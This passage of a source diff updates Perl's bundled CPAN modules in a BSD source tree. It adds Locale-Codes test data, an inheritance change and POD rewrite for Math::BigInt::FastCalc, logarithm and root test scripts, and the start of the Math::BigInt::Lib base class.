+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
+
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_language.pl b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_language.pl
new file mode 100644
index 00000000000..103ee804dfc
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_language.pl
@@ -0,0 +1,311 @@
+#!/usr/bin/perl
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# This program is free software; you can redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use warnings;
+use strict;
+
+$::tests = '';
+
+$::tests = "
+
+all_names
+2
+ ~
+ Abkhazian
+ Afar
+
+all_codes
+2
+ ~
+ aa
+ ab
+
+2name
+zu
+ Zulu
+
+rename
+zu
+NewName
+foo
+ 0
+
+rename
+zu
+English
+alpha-2
+ 0
+
+rename
+zu
+NewName
+alpha-3
+ 0
+
+2name
+zu
+ Zulu
+
+rename
+zu
+NewName
+alpha-2
+ 1
+
+2name
+zu
+ NewName
+
+2code
+Afar
+ aa
+
+2code
+ESTONIAN
+ et
+
+2code
+French
+ fr
+
+2code
+Greek
+ el
+
+2code
+Japanese
+ ja
+
+2code
+Zulu
+ zu
+
+2code
+english
+ en
+
+2code
+japanese
+ ja
+
+# Last ones in the list
+
+2code
+Zulu
+alpha-2
+ zu
+
+2code
+Zaza
+alpha-3
+ zza
+
+2code
+Welsh
+term
+ cym
+
+2code
+Zande languages
+alpha-3
+ znd
+
+2code
+Zuojiang Zhuang
+alpha-3
+ zzj
+
+2name
+in
+ _undef_
+
+2name
+iw
+ _undef_
+
+2name
+ji
+ _undef_
+
+2name
+jp
+ _undef_
+
+2name
+zz
+ _undef_
+
+2name
+DA
+ Danish
+
+2name
+aa
+ Afar
+
+2name
+ae
+ Avestan
+
+2name
+bs
+ Bosnian
+
+2name
+ce
+ Chechen
+
+2name
+ch
+ Chamorro
+
+2name
+cu
+ Church Slavic
+
+2name
+cv
+ Chuvash
+
+2name
+en
+ English
+
+2name
+eo
+ Esperanto
+
+2name
+fi
+ Finnish
+
+2name
+gv
+ Manx
+
+2name
+he
+ Hebrew
+
+2name
+ho
+ Hiri Motu
+
+2name
+hz
+ Herero
+
+2name
+id
+ Indonesian
+
+2name
+iu
+ Inuktitut
+
+2name
+ki
+ Kikuyu
+
+2name
+kj
+ Kuanyama
+
+2name
+kv
+ Komi
+
+2name
+kw
+ Cornish
+
+2name
+lb
+ Luxembourgish
+
+2name
+mh
+ Marshallese
+
+2name
+nb
+ Norwegian Bokmal
+
+2name
+nd
+ North Ndebele
+
+2name
+ng
+ Ndonga
+
+2name
+nn
+ Norwegian Nynorsk
+
+2name
+nr
+ South Ndebele
+
+2name
+nv
+ Navajo
+
+2name
+ny
+ Nyanja
+
+2name
+oc
+ Occitan (post 1500)
+
+2name
+os
+ Ossetian
+
+2name
+pi
+ Pali
+
+2name
+sc
+ Sardinian
+
+2name
+se
+ Northern Sami
+
+2name
+ug
+ Uighur
+
+2name
+yi
+ Yiddish
+
+2name
+za
+ Zhuang
+
+code2code
+zu
+alpha-2
+alpha-3
+ zul
+
+";
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
+
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_langvar.pl b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_langvar.pl
new file mode 100644
index 00000000000..6e2beaa4e9e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_langvar.pl
@@ -0,0 +1,52 @@
+#!/usr/bin/perl
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# This program is free software; you can redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use warnings;
+use strict;
+
+$::tests = '';
+
+$::tests = "
+
+2code
+Eastern Armenian
+ arevela
+
+2name
+arevela
+ Eastern Armenian
+
+code2code
+arevela
+alpha
+alpha
+ arevela
+
+all_codes
+2
+ ~
+ 1606nict
+ 1694acad
+
+all_names
+2
+ ~
+ \"Academic\" (\"governmental\") variant of Belarusian as codified in 1959
+ ALA-LC Romanization, 1997 edition
+
+";
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
+
diff --git a/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_script.pl b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_script.pl
new file mode 100644
index 00000000000..494864ce485
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Locale-Codes/t/vals_script.pl
@@ -0,0 +1,65 @@
+#!/usr/bin/perl
+# Copyright (c) 2016-2018 Sullivan Beck. All rights reserved.
+# This program is free software; you can redistribute it and/or modify it
+# under the same terms as Perl itself.
+
+use warnings;
+use strict;
+
+$::tests = '';
+$::tests = "
+
+2code
+Phoenician
+ phnx
+
+2code
+Phoenician
+num
+ 115
+
+2name
+Phnx
+ Phoenician
+
+2name
+phnx
+ Phoenician
+
+2name
+115
+num
+ Phoenician
+
+code2code
+Phnx
+alpha
+num
+ 115
+
+all_codes
+2
+ ~
+ Adlm
+ Afak
+
+all_names
+2
+ ~
+ Adlam
+ Afaka
+
+";
+
+1;
+# Local Variables:
+# mode: cperl
+# indent-tabs-mode: nil
+# cperl-indent-level: 3
+# cperl-continued-statement-offset: 2
+# cperl-continued-brace-offset: 0
+# cperl-brace-offset: 0
+# cperl-brace-imaginary-offset: 0
+# cperl-label-offset: 0
+# End:
+
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm b/gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm
index 2cc49f41f60..8d0ba4097af 100644
--- a/gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/lib/Math/BigInt/FastCalc.pm
@@ -4,9 +4,11 @@ use 5.006;
use strict;
use warnings;
-use Math::BigInt::Calc 1.999706;
+use Math::BigInt::Calc 1.999801;
-our $VERSION = '0.40';
+our @ISA = qw< Math::BigInt::Calc >;
+
+our $VERSION = '0.5006';
##############################################################################
# global constants, flags and accessory
@@ -16,26 +18,8 @@ sub api_version () { 2; }
# use Calc to override the methods that we do not provide in XS
-for my $method (qw/
- str num
- add sub mul div
- rsft lsft
- mod modpow modinv
- gcd
- pow root sqrt log_int fac nok
- digit check
- from_hex from_bin from_oct as_hex as_bin as_oct
- zeros base_len
- xor or and
- alen 1ex
- /)
- {
- no strict 'refs';
- *{'Math::BigInt::FastCalc::_' . $method} = \&{'Math::BigInt::Calc::_' . $method};
- }
-
require XSLoader;
-XSLoader::load(__PACKAGE__, $VERSION, Math::BigInt::Calc::_base_len());
+XSLoader::load(__PACKAGE__, $VERSION, Math::BigInt::Calc->_base_len());
##############################################################################
##############################################################################
@@ -52,12 +36,23 @@ Math::BigInt::FastCalc - Math::BigInt::Calc with some XS for more speed
=head1 SYNOPSIS
+ # to use it with Math::BigInt
+ use Math::BigInt lib => 'FastCalc';
+
+ # to use it with Math::BigFloat
+ use Math::BigFloat lib => 'FastCalc';
+
+ # to use it with Math::BigRat
+ use Math::BigRat lib => 'FastCalc';
+
+=head1 DESCRIPTION
+
+Math::BigInt::FastCalc inherits from Math::BigInt::Calc.
+
Provides support for big integer calculations. Not intended to be used by
other modules. Other modules which sport the same functions can also be used
to support Math::BigInt, like L<Math::BigInt::GMP> or L<Math::BigInt::Pari>.
-=head1 DESCRIPTION
-
In order to allow for multiple big integer libraries, Math::BigInt was
rewritten to use library modules for core math routines. Any module which
follows the same API as this can be used instead by using the following:
@@ -69,13 +64,10 @@ version like 'Pari'. To use this library:
use Math::BigInt lib => 'FastCalc';
-Note that from L<Math::BigInt> v1.76 onwards, FastCalc will be loaded
-automatically, if possible.
-
=head1 STORAGE
-FastCalc works exactly like Calc, in stores the numbers in decimal form,
-chopped into parts.
+Math::BigInt::FastCalc works exactly like Math::BigInt::Calc. Numbers are
+stored in decimal form chopped into parts.
=head1 METHODS
@@ -161,11 +153,16 @@ Separated from BigInt and shaped API with the help of John Peacock.
Fixed, sped-up and enhanced by Tels http://bloodgate.com 2001-2003.
Further streamlining (api_version 1 etc.) by Tels 2004-2007.
-Bug-fixing by Peter John Acklam E<lt>pjacklam@online.noE<gt> 2010-2015.
+Bug-fixing by Peter John Acklam E<lt>pjacklam@online.noE<gt> 2010-2016.
=head1 SEE ALSO
-L<Math::BigInt>, L<Math::BigFloat>, and the other backends
-L<Math::BigInt::Calc>, L<Math::BigInt::GMP>, and L<Math::BigInt::Pari>.
+L<Math::BigInt::Lib> for a description of the API.
+
+Alternative libraries L<Math::BigInt::Calc>, L<Math::BigInt::GMP>, and
+L<Math::BigInt::Pari>.
+
+Some of the modules that use these libraries L<Math::BigInt>,
+L<Math::BigFloat>, and L<Math::BigRat>.
=cut
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/t/biglog.t b/gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/t/biglog.t
new file mode 100644
index 00000000000..6c227e8e8ae
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/t/biglog.t
@@ -0,0 +1,244 @@
+#!perl
+
+# Test blog function (and bpow, since it uses blog), as well as bexp().
+
+# It is too slow to be simple included in bigfltpm.inc, where it would get
+# executed 3 times. One time would be under Math::BigInt::BareCalc, which
+# shouldn't make any difference since there is no CALC->_log() function, and
+# one time under a subclass, which *should* work.
+
+# But it is better to test the numerical functionality, instead of not testing
+# it at all (which did lead to wrong answers for 0 < $x < 1 in blog() in
+# versions up to v1.63, and for bsqrt($x) when $x << 1 for instance).
+
+use strict;
+use warnings;
+
+use Test::More tests => 73;
+
+use Math::BigFloat only => 'FastCalc';
+use Math::BigInt;
+
+my $class = "Math::BigInt";
+
+###############################################################################
+# test $n->blog() in Math::BigInt (broken until 1.80)
+
+is($class->new(2)->blog(), '0', "$class->new(2)->blog()");
+is($class->new(288)->blog(), '5', "$class->new(288)->blog()");
+is($class->new(2000)->blog(), '7', "$class->new(2000)->blog()");
+
+###############################################################################
+# test $n->bexp() in Math::BigInt
+
+is($class->new(1)->bexp(), '2', "$class->new(1)->bexp()");
+is($class->new(2)->bexp(), '7', "$class->new(2)->bexp()");
+is($class->new(3)->bexp(), '20', "$class->new(3)->bexp()");
+
+###############################################################################
+###############################################################################
+# Math::BigFloat tests
+
+###############################################################################
+# test $n->blog(undef, N) where N > 67 (broken until 1.82)
+
+$class = "Math::BigFloat";
+
+# These tests can take quite a while, but are necessary. Maybe protect them
+# with some alarm()?
+
+# this triggers the calculation and caching of ln(2):
+is($class->new(5)->blog(undef, 71),
+ '1.6094379124341003746007593332261876395256013542685177219126478914741790',
+ "$class->new(5)->blog(undef, 71)");
+
+# if the cache was correct, we should get this result, fast:
+is($class->new(2)->blog(undef, 71),
+ '0.69314718055994530941723212145817656807550013436025525412068000949339362',
+ "$class->new(2)->blog(undef, 71)");
+
+is($class->new(11)->blog(undef, 71),
+ '2.3978952727983705440619435779651292998217068539374171752185677091305736',
+ "$class->new(11)->blog(undef, 71)");
+
+is($class->new(21)->blog(undef, 71),
+ '3.0445224377234229965005979803657054342845752874046106401940844835750742',
+ "$class->new(21)->blog(undef, 71)");
+
+###############################################################################
+
+# These tests are now really fast, since they collapse to blog(10), basically
+# Don't attempt to run them with older versions. You are warned.
+
+# $x < 0 => NaN
+is($class->new(-2)->blog(), 'NaN', "$class->new(-2)->blog()");
+is($class->new(-1)->blog(), 'NaN', "$class->new(-1)->blog()");
+is($class->new(-10)->blog(), 'NaN', "$class->new(-10)->blog()");
+is($class->new(-2, 2)->blog(), 'NaN', "$class->new(-2, 2)->blog()");
+
+my $ten = $class->new(10)->blog();
+
+# 10 is cached (up to 75 digits)
+is($class->new(10)->blog(),
+ '2.302585092994045684017991454684364207601',
+ qq|$class->new(10)->blog()|);
+
+# 0.1 is using the cached value for log(10), too
+
+is($class->new("0.1")->blog(), -$ten,
+ qq|$class->new("0.1")->blog()|);
+is($class->new("0.01")->blog(), -$ten * 2,
+ qq|$class->new("0.01")->blog()|);
+is($class->new("0.001")->blog(), -$ten * 3,
+ qq|$class->new("0.001")->blog()|);
+is($class->new("0.0001")->blog(), -$ten * 4,
+ qq|$class->new("0.0001")->blog()|);
+
+# also cached
+is($class->new(2)->blog(),
+ '0.6931471805599453094172321214581765680755',
+ qq|$class->new(2)->blog()|);
+is($class->new(4)->blog(), $class->new(2)->blog * 2,
+ qq|$class->new(4)->blog()|);
+
+# These are still slow, so do them only to 10 digits
+
+is($class->new("0.2")->blog(undef, 10), "-1.609437912",
+ qq|$class->new("0.2")->blog(undef, 10)|);
+is($class->new("0.3")->blog(undef, 10), "-1.203972804",
+ qq|$class->new("0.3")->blog(undef, 10)|);
+is($class->new("0.4")->blog(undef, 10), "-0.9162907319",
+ qq|$class->new("0.4")->blog(undef, 10)|);
+is($class->new("0.5")->blog(undef, 10), "-0.6931471806",
+ qq|$class->new("0.5")->blog(undef, 10)|);
+is($class->new("0.6")->blog(undef, 10), "-0.5108256238",
+ qq|$class->new("0.6")->blog(undef, 10)|);
+is($class->new("0.7")->blog(undef, 10), "-0.3566749439",
+ qq|$class->new("0.7")->blog(undef, 10)|);
+is($class->new("0.8")->blog(undef, 10), "-0.2231435513",
+ qq|$class->new("0.8")->blog(undef, 10)|);
+is($class->new("0.9")->blog(undef, 10), "-0.1053605157",
+ qq|$class->new("0.9")->blog(undef, 10)|);
+
+is($class->new("9")->blog(undef, 10), "2.197224577",
+ qq|$class->new("9")->blog(undef, 10)|);
+
+is($class->new("10")->blog(10, 10), "1.000000000",
+ qq|$class->new("10")->blog(10, 10)|);
+is($class->new("20")->blog(20, 10), "1.000000000",
+ qq|$class->new("20")->blog(20, 10)|);
+is($class->new("100")->blog(100, 10), "1.000000000",
+ qq|$class->new("100")->blog(100, 10)|);
+
+is($class->new("100")->blog(10, 10), "2.000000000", # 10 ** 2 == 100
+ qq|$class->new("100")->blog(10, 10)|);
+is($class->new("400")->blog(20, 10), "2.000000000", # 20 ** 2 == 400
+ qq|$class->new("400")->blog(20, 10)|);
+
+is($class->new("4")->blog(2, 10), "2.000000000", # 2 ** 2 == 4
+ qq|$class->new("4")->blog(2, 10)|);
+is($class->new("16")->blog(2, 10), "4.000000000", # 2 ** 4 == 16
+ qq|$class->new("16")->blog(2, 10)|);
+
+is($class->new("1.2")->bpow("0.3", 10), "1.056219968",
+ qq|$class->new("1.2")->bpow("0.3", 10)|);
+is($class->new("10")->bpow("0.6", 10), "3.981071706",
+ qq|$class->new("10")->bpow("0.6", 10)|);
+
+# blog should handle bigint input
+is(Math::BigFloat::blog(Math::BigInt->new(100), 10), 2, "blog(100)");
+
+###############################################################################
+# some integer results
+is($class->new(2)->bpow(32)->blog(2), "32", "2 ** 32");
+is($class->new(3)->bpow(32)->blog(3), "32", "3 ** 32");
+is($class->new(2)->bpow(65)->blog(2), "65", "2 ** 65");
+
+my $x = Math::BigInt->new('777') ** 256;
+my $base = Math::BigInt->new('12345678901234');
+is($x->copy()->blog($base), 56, 'blog(777**256, 12345678901234)');
+
+$x = Math::BigInt->new('777') ** 777;
+$base = Math::BigInt->new('777');
+is($x->copy()->blog($base), 777, 'blog(777**777, 777)');
+
+###############################################################################
+# test for bug in bsqrt() not taking negative _e into account
+test_bpow('200', '0.5', 10, '14.14213562');
+test_bpow('20', '0.5', 10, '4.472135955');
+test_bpow('2', '0.5', 10, '1.414213562');
+test_bpow('0.2', '0.5', 10, '0.4472135955');
+test_bpow('0.02', '0.5', 10, '0.1414213562');
+test_bpow('0.49', '0.5', undef, '0.7');
+test_bpow('0.49', '0.5', 10, '0.7000000000');
+test_bpow('0.002', '0.5', 10, '0.04472135955');
+test_bpow('0.0002', '0.5', 10, '0.01414213562');
+test_bpow('0.0049', '0.5', undef, '0.07');
+test_bpow('0.0049', '0.5', 10, '0.07000000000');
+test_bpow('0.000002', '0.5', 10, '0.001414213562');
+test_bpow('0.021', '0.5', 10, '0.1449137675');
+test_bpow('1.2', '0.5', 10, '1.095445115');
+test_bpow('1.23', '0.5', 10, '1.109053651');
+test_bpow('12.3', '0.5', 10, '3.507135583');
+
+test_bpow('9.9', '0.5', 10, '3.146426545');
+test_bpow('9.86902225', '0.5', 10, '3.141500000');
+test_bpow('9.86902225', '0.5', undef, '3.1415');
+
+###############################################################################
+# other tests for bpow()
+
+test_bpow('0.2', '0.41', 10, '0.5169187652');
+
+is($class->new("0.01")->bpow("28.4", 40)->bsstr(),
+ '1584893192461113485202101373391507013269e-96',
+ qq|$class->new("0.01")->bpow("28.4", 40)->bsstr()|);
+
+# The following test takes too long.
+#is($class->new("2")->bpow("-1034.5", 40)->bsstr(),
+# '3841222690408590466868250378242558090957e-351',
+# qq|$class->new("2")->bpow("-1034.5", 40)|);
+
+###############################################################################
+# test bexp() with cached results
+
+is($class->new(1)->bexp(), '2.718281828459045235360287471352662497757',
+ 'bexp(1)');
+is($class->new(2)->bexp(40), $class->new(1)->bexp(45)->bpow(2, 40),
+ 'bexp(2)');
+
+is($class->new("12.5")->bexp(61), $class->new(1)->bexp(65)->bpow(12.5, 61),
+ 'bexp(12.5)');
+
+###############################################################################
+# test bexp() with big values (non-cached)
+
+is($class->new(1)->bexp(100),
+ '2.7182818284590452353602874713526624977572470936999'
+ . '59574966967627724076630353547594571382178525166427',
+ qq|$class->new(1)->bexp(100)|);
+
+is($class->new("12.5")->bexp(91), $class->new(1)->bexp(95)->bpow(12.5, 91),
+ qq|$class->new("12.5")->bexp(91)|);
+
+is($class->new("-118.5")->bexp(20)->bsstr(),
+ '34364014567198602057e-71',
+ qq|$class->new("-118.5")->bexp(20)->bsstr()|);
+
+is($class->new("-394.84010945715266885")->bexp(20)->bsstr(),
+ '33351796227864913873e-191',
+ qq|$class->new("-118.5")->bexp(20)->bsstr()|);
+
+# all done
+
+1;
+
+###############################################################################
+
+sub test_bpow {
+ my ($x, $y, $scale, $result) = @_;
+ is($class->new($x)->bpow($y, $scale), $result,
+ qq|$class->new($x)->bpow($y, |
+ . (defined($scale) ? $scale : 'undef')
+ . qq|)|);
+}
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/t/bigroot.t b/gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/t/bigroot.t
new file mode 100644
index 00000000000..c14bca1e2a1
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt-FastCalc/t/bigroot.t
@@ -0,0 +1,53 @@
+#!perl
+
+# Test broot function (and bsqrt() function, since it is used by broot()).
+
+# It is too slow to be simple included in bigfltpm.inc, where it would get
+# executed 3 times.
+
+# But it is better to test the numerical functionality, instead of not testing
+# it at all.
+
+use strict; # restrict unsafe constructs
+use warnings; # enable optional warnings
+
+use Test::More tests => 4 * 2;
+
+use Math::BigFloat only => 'FastCalc';
+use Math::BigInt;
+
+my $mbf = "Math::BigFloat";
+my $mbi = "Math::BigInt";
+
+# 2 ** 240 =
+# 1766847064778384329583297500742918515827483896875618958121606201292619776
+
+# takes way too long
+#test_broot('2', '240', 8, undef,
+# '1073741824');
+#test_broot('2', '240', 9, undef,
+# '106528681.3099908308759836475139583940127');
+#test_broot('2', '120', 9, undef,
+# '10321.27324073880096577298929482324664787');
+#test_broot('2', '120', 17, undef,
+# '133.3268493632747279600707813049418888729');
+
+test_broot('2', '120', 8, undef,
+ '32768');
+test_broot('2', '60', 8, undef,
+ '181.0193359837561662466161566988413540569');
+test_broot('2', '60', 9, undef,
+ '101.5936673259647663841091609134277286651');
+test_broot('2', '60', 17, undef,
+ '11.54672461623965153271017217302844672562');
+
+sub test_broot {
+ my ($x, $n, $y, $scale, $expected) = @_;
+
+ my $s = $scale || 'undef';
+ is($mbf->new($x)->bpow($n)->broot($y, $scale), $expected,
+ "Try: $mbf->new($x)->bpow($n)->broot($y, $s) == $expected");
+ $expected =~ s/\..*//;
+ is($mbi->new($x)->bpow($n)->broot($y, $scale), $expected,
+ "Try: $mbi->new($x)->bpow($n)->broot($y, $s) == $expected");
+}
diff --git a/gnu/usr.bin/perl/cpan/Math-BigInt/lib/Math/BigInt/Lib.pm b/gnu/usr.bin/perl/cpan/Math-BigInt/lib/Math/BigInt/Lib.pm
new file mode 100644
index 00000000000..23a44aa9559
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Math-BigInt/lib/Math/BigInt/Lib.pm
@@ -0,0 +1,2070 @@
+package Math::BigInt::Lib;
+
+use 5.006001;
+use strict;
+use warnings;
+
+our $VERSION = '1.999811';
+
+use Carp;
+
+use overload
+
+ # overload key: with_assign
+
+ '+' => sub {
+ my $class = ref $_[0];
+ my $x = $class -> _copy($_[0]);
+ my $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ return $class -> _add($x, $y);
+ },
+
+ '-' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _sub($x, $y);
+ },
+
+ '*' => sub {
+ my $class = ref $_[0];
+ my $x = $class -> _copy($_[0]);
+ my $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ return $class -> _mul($x, $y);
+ },
+
+ '/' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _div($x, $y);
+ },
+
+ '%' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _mod($x, $y);
+ },
+
+ '**' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _pow($x, $y);
+ },
+
+ '<<' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $class -> _num($_[0]);
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $_[0];
+ $y = ref($_[1]) ? $class -> _num($_[1]) : $_[1];
+ }
+ return $class -> _blsft($x, $y);
+ },
+
+ '>>' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _brsft($x, $y);
+ },
+
+ # overload key: num_comparison
+
+ '<' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _acmp($x, $y) < 0;
+ },
+
+ '<=' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _acmp($x, $y) <= 0;
+ },
+
+ '>' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _acmp($x, $y) > 0;
+ },
+
+ '>=' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _acmp($x, $y) >= 0;
+ },
+
+ '==' => sub {
+ my $class = ref $_[0];
+ my $x = $class -> _copy($_[0]);
+ my $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ return $class -> _acmp($x, $y) == 0;
+ },
+
+ '!=' => sub {
+ my $class = ref $_[0];
+ my $x = $class -> _copy($_[0]);
+ my $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ return $class -> _acmp($x, $y) != 0;
+ },
+
+ # overload key: 3way_comparison
+
+ '<=>' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _acmp($x, $y);
+ },
+
+ # overload key: binary
+
+ '&' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _and($x, $y);
+ },
+
+ '|' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _or($x, $y);
+ },
+
+ '^' => sub {
+ my $class = ref $_[0];
+ my ($x, $y);
+ if ($_[2]) { # if swapped
+ $y = $_[0];
+ $x = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ } else {
+ $x = $class -> _copy($_[0]);
+ $y = ref($_[1]) ? $_[1] : $class -> _new($_[1]);
+ }
+ return $class -> _xor($x, $y);
+ },
+
+ # overload key: func
+
+ 'abs' => sub { $_[0] },
+
+ 'sqrt' => sub {
+ my $class = ref $_[0];
+ return $class -> _sqrt($class -> _copy($_[0]));
+ },
+
+ 'int' => sub { $_[0] },
+
+ # overload key: conversion
+
+ 'bool' => sub { ref($_[0]) -> _is_zero($_[0]) ? '' : 1; },
+
+ '""' => sub { ref($_[0]) -> _str($_[0]); },
+
+ '0+' => sub { ref($_[0]) -> _num($_[0]); },
+
+ '=' => sub { ref($_[0]) -> _copy($_[0]); },
+
+ ;
+
+# Do we need api_version() at all, now that we have a virtual parent class that
+# will provide any missing methods? Fixme!
+
+sub api_version () {
+ croak "@{[(caller 0)[3]]} method not implemented";
+}
+
+sub _new {
+ croak "@{[(caller 0)[3]]} method not implemented";
+}
+
+sub _zero {
+ my $class = shift;
+ return $class -> _new("0");
+}
+
+sub _one {
+ my $class = shift;
+ return $class -> _new("1");
+}
+
+sub _two {
+ my $class = shift;
+ return $class -> _new("2");
+
+}
+sub _ten {
+ my $class = shift;
+ return $class -> _new("10");
+}
+
+sub _1ex {
+ my ($class, $exp) = @_;
+ $exp = $class -> _num($exp) if ref($exp);
+ return $class -> _new("1" . ("0" x $exp));
+}
+
+sub _copy {
+ my ($class, $x) = @_;
+ return $class -> _new($class -> _str($x));
+}
+
+# catch and throw away
+sub import { }
+
+##############################################################################
+# convert back to string and number
+
+sub _str {
+ # Convert number from internal base 1eN format to string format. Internal
+ # format is always normalized, i.e., no leading zeros.
+ croak "@{[(caller 0)[3]]} method not implemented";
+}
+
+sub _num {
+ my ($class, $x) = @_;
+ 0 + $class -> _str($x);
+}
+
+##############################################################################
+# actual math code
+
+sub _add {
+ croak "@{[(caller 0)[3]]} method not implemented";
+}
+
+sub _sub {
+ croak "@{[(caller 0)[3]]} method not implemented";
+}
+
+sub _mul {
+ my ($class, $x, $y) = @_;
+ my $sum = $class -> _zero();
+ my $i = $class -> _zero();
+ while ($class -> _acmp($i, $y) < 0) {
+ $sum = $class -> _add($sum, $x);
+ $i = $class -> _inc($i);
+ }
+ return $sum;
+}
+
+sub _div {
+ my ($class, $x, $y) = @_;
+
+ croak "@{[(caller 0)[3]]} requires non-zero divisor"
+ if $class -> _is_zero($y);
+
+ my $r = $class -> _copy($x);
+ my $q = $class -> _zero();
+ while ($class -> _acmp($r, $y) >= 0) {
+ $q = $class -> _inc($q);
+ $r = $class -> _sub($r, $y);
+ }
+
+ return $q, $r if wantarray;
+ return $q;
+}
+
+sub _inc {
